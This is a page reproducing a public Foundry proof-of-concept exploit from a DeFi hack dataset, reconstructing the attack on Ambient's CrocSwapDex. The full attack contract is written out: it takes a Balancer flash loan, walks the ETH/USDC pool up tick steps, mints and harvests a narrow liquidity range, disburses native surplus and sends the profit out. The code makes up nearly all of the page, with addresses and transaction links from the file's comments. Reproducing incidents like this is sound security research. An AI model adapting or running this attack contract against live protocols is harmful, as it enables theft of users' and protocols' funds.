Public reproduction file
src/test/2026-06/AmbientCrocSwapDex_exp.sol
Public reproduction file for dataset entry AmbientCrocSwapDex.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.19;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~67.85 ETH after final USDC->WETH conversion and ETH forwarding8// Attacker : 0x0000000000037e625b2502c26029aea237f102af9// Attack Contract : 0xaac14d196a9e27923a92d8e87e3b6a5dcd4fec1b10// Vulnerable Contract : 0xAaAaAAAaA24eEeb8d57D431224f73832bC34f68811// Attack Tx : https://etherscan.io/tx/0xb2fc668c42623261074de6fc30d583efede2b0e20d7aded42b7b634f9322ff5213// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xAaAaAAAaA24eEeb8d57D431224f73832bC34f688#code16// @Analysis17// Twitter Guy : https://x.com/TenArmorAlert/status/206381623102342786118//19// The helper deposited flash-loaned WETH as Ambient native surplus, walked the ETH/USDC20// pool up one grid at a time, minted and harvested a narrow range, then disbursed the21// extracted native surplus and repaid Balancer.23address constant ATTACKER = 0x0000000000037E625B2502C26029Aea237f102aF;24address constant ATTACK_CONTRACT = 0xAAC14D196A9E27923A92D8e87E3b6A5DCD4fEc1B;25address constant CROC_SWAP_DEX = 0xAaAaAAAaA24eEeb8d57D431224f73832bC34f688;26address constant CROC_QUERY = 0xCA00926b6190c2C59336E73F02569c356d7B6b56;27address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;28address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;29address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;31interface ICrocSwapDex {32 function userCmd(33 uint16 callpath,34 bytes calldata cmd35 ) external payable returns (bytes memory);36}38interface ICrocQuery {39 function queryCurveTick(40 address base,41 address quote,42 uint256 poolIdx43 ) external view returns (int24);44}46library AmbientTickMath {47 int24 internal constant MIN_TICK = -665_454;48 int24 internal constant MAX_TICK = 831_818;50 function getSqrtRatioAtTick(51 int24 tick52 ) internal pure returns (uint128 sqrtPriceX64) {53 unchecked {54 require(tick >= MIN_TICK && tick <= MAX_TICK, "tick");55 uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));57 uint256 ratio =58 absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;59 if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;60 if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;61 if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;62 if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;63 if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;64 if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;65 if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;66 if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;67 if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;68 if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;69 if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;70 if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;71 if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;72 if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;73 if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;74 if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;75 if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;76 if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;77 if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;79 if (tick > 0) ratio = type(uint256).max / ratio;80 sqrtPriceX64 = uint128((ratio >> 64) + (ratio % (1 << 64) == 0 ? 0 : 1));81 }82 }83}85contract ContractTest is BaseTestWithBalanceLog {86 AmbientCrocSwapDexAttacker private exploit;87 address private profitReceiver;89 function setUp() public {90 vm.createSelectFork("mainnet", 25_266_404);91 profitReceiver = makeAddr("profitReceiver");93 vm.label(ATTACKER, "Attacker EOA");94 vm.label(ATTACK_CONTRACT, "Original Attack Contract");95 vm.label(profitReceiver, "PoC Profit Receiver");96 vm.label(CROC_SWAP_DEX, "Ambient CrocSwapDex");97 vm.label(CROC_QUERY, "Ambient CrocQuery");98 vm.label(BALANCER_VAULT, "Balancer Vault");99 vm.label(USDC_TOKEN, "USDC");100 vm.label(WETH_TOKEN, "WETH");101 }103 function testExploit() public {104 logTokenBalance(WETH_TOKEN, profitReceiver, "Profit receiver before exploit");105 logTokenBalance(USDC_TOKEN, profitReceiver, "Profit receiver before exploit");107 uint256 wethBefore = IERC20(WETH_TOKEN).balanceOf(profitReceiver);108 uint256 usdcBefore = IERC20(USDC_TOKEN).balanceOf(profitReceiver);110 exploit = new AmbientCrocSwapDexAttacker(profitReceiver);111 exploit.attack();113 uint256 wethProfit = IERC20(WETH_TOKEN).balanceOf(profitReceiver) - wethBefore;114 uint256 usdcProfit = IERC20(USDC_TOKEN).balanceOf(profitReceiver) - usdcBefore;116 emit log_named_decimal_uint("WETH profit after Balancer repayment", wethProfit, 18);117 emit log_named_decimal_uint("USDC profit before final router conversion", usdcProfit, 6);118 logTokenBalance(WETH_TOKEN, profitReceiver, "Profit receiver after exploit");119 logTokenBalance(USDC_TOKEN, profitReceiver, "Profit receiver after exploit");121 assertGt(wethProfit, 30 ether, "missing WETH profit");122 assertGt(usdcProfit, 50_000e6, "missing USDC profit");123 }124}126contract AmbientCrocSwapDexAttacker is IFlashLoanRecipient {127 using AmbientTickMath for int24;129 address private immutable owner;131 constructor(132 address owner_133 ) {134 owner = owner_;135 }137 receive() external payable {}139 function attack() external {140 address[] memory tokens = new address[](2);141 tokens[0] = USDC_TOKEN;142 tokens[1] = WETH_TOKEN;144 uint256[] memory amounts = new uint256[](2);145 amounts[0] = 1;146 amounts[1] = 50 ether;148 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");149 }151 function receiveFlashLoan(152 IERC20[] memory tokens,153 uint256[] memory amounts,154 uint256[] memory feeAmounts,155 bytes memory156 ) external override {157 require(msg.sender == BALANCER_VAULT, "vault");159 IERC20(USDC_TOKEN).approve(CROC_SWAP_DEX, 0);160 IERC20(USDC_TOKEN).approve(CROC_SWAP_DEX, type(uint256).max);162 IWETH(payable(WETH_TOKEN)).withdraw(amounts[1]);164 // step 1: create native ETH surplus in Ambient. ColdPath command 73 deposits native surplus.165 ICrocSwapDex(CROC_SWAP_DEX).userCmd{value: amounts[1]}(166 3, abi.encode(uint8(73), address(this), uint128(amounts[1]), address(0))167 );169 // step 2: walk the native/USDC pool up thirteen grid steps, deriving each limit from live pool tick state.170 uint256 poolIdx = 420;171 int24 tickGridStep = 800;172 int24 startTick = currentTick(poolIdx);173 int24 stopTick = startTick + (13 * tickGridStep);174 while (currentTick(poolIdx) < stopTick) {175 int24 nextTick = currentTick(poolIdx) + tickGridStep;176 hotSwap(poolIdx, true, true, 1e30, nextTick.getSqrtRatioAtTick(), 1);177 }179 // step 3: mint the same narrow range position used by the attack helper.180 int24 rangeBidTick = currentTick(poolIdx) + 3;181 int24 rangeAskTick = rangeBidTick + 32;182 warmRange(poolIdx, 1, 19_111_745_536, rangeBidTick, rangeAskTick);184 // step 4: nudge the range and harvest it. The +19 tick limit matches the in-range trace swap.185 hotSwap(poolIdx, true, true, 1e30, (currentTick(poolIdx) + 19).getSqrtRatioAtTick(), 1);186 warmRange(poolIdx, 5, 0, rangeBidTick, rangeAskTick);188 // step 5: swap back toward the starting tick, disburse native surplus, and repay Balancer.189 hotSwap(poolIdx, false, false, 1e30, startTick.getSqrtRatioAtTick(), 1);190 // ColdPath command 74 disburses all native surplus.191 ICrocSwapDex(CROC_SWAP_DEX).userCmd(3, abi.encode(uint8(74), address(this), int128(0), address(0)));193 IWETH(payable(WETH_TOKEN)).deposit{value: address(this).balance}();195 tokens[0].transfer(BALANCER_VAULT, amounts[0] + feeAmounts[0]);196 tokens[1].transfer(BALANCER_VAULT, amounts[1] + feeAmounts[1]);198 IERC20(WETH_TOKEN).transfer(owner, IERC20(WETH_TOKEN).balanceOf(address(this)));199 IERC20(USDC_TOKEN).transfer(owner, IERC20(USDC_TOKEN).balanceOf(address(this)));200 }202 function hotSwap(203 uint256 poolIdx,204 bool isBuy,205 bool inBaseQty,206 uint128 qty,207 uint128 limitPrice,208 uint8 reserveFlags209 ) private returns (int128 baseFlow, int128 quoteFlow) {210 bytes memory output = ICrocSwapDex(CROC_SWAP_DEX)211 .userCmd(212 1,213 abi.encode(214 address(0),215 USDC_TOKEN,216 poolIdx,217 isBuy,218 inBaseQty,219 qty,220 uint16(0),221 limitPrice,222 uint128(0),223 reserveFlags224 )225 );226 (baseFlow, quoteFlow) = abi.decode(output, (int128, int128));227 }229 function warmRange(230 uint256 poolIdx,231 uint8 code,232 uint128 liq,233 int24 bidTick,234 int24 askTick235 ) private returns (int128 baseFlow, int128 quoteFlow) {236 bytes memory output = ICrocSwapDex(CROC_SWAP_DEX)237 .userCmd(238 2,239 abi.encode(240 code,241 address(0),242 USDC_TOKEN,243 poolIdx,244 bidTick,245 askTick,246 liq,247 AmbientTickMath.getSqrtRatioAtTick(AmbientTickMath.MIN_TICK),248 AmbientTickMath.getSqrtRatioAtTick(AmbientTickMath.MAX_TICK) - 1,249 uint8(1),250 address(0)251 )252 );253 (baseFlow, quoteFlow) = abi.decode(output, (int128, int128));254 }256 function currentTick(257 uint256 poolIdx258 ) private view returns (int24) {259 return ICrocQuery(CROC_QUERY).queryCurveTick(address(0), USDC_TOKEN, poolIdx);260 }261}Analysis
Dataset entry
Public Foundry test for “AmbientCrocSwapDex” (2026-06-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0000000000037e625b2502c26029aea237f102af
- Attack Contract
0xaac14d196a9e27923a92d8e87e3b6a5dcd4fec1b
- Vulnerable Contract
0xaaaaaaaaa24eeeb8d57d431224f73832bc34f688
- Attack Tx
0xb2fc668c42623261074de6fc30d583efede2b0e20d7aded42b7b634f9322ff52
File record
- Name
- AmbientCrocSwapDex
- Path
- src/test/2026-06/AmbientCrocSwapDex_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c0a1eca6cb27ff2cb3bee905608c3a4ea7ddd34f
- Language
- Solidity
- Size
- 262 lines
- Date
- 2026-06-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/AmbientCrocSwapDex_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c0a1eca6cb27ff2cb3bee905608c3a4ea7ddd34f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.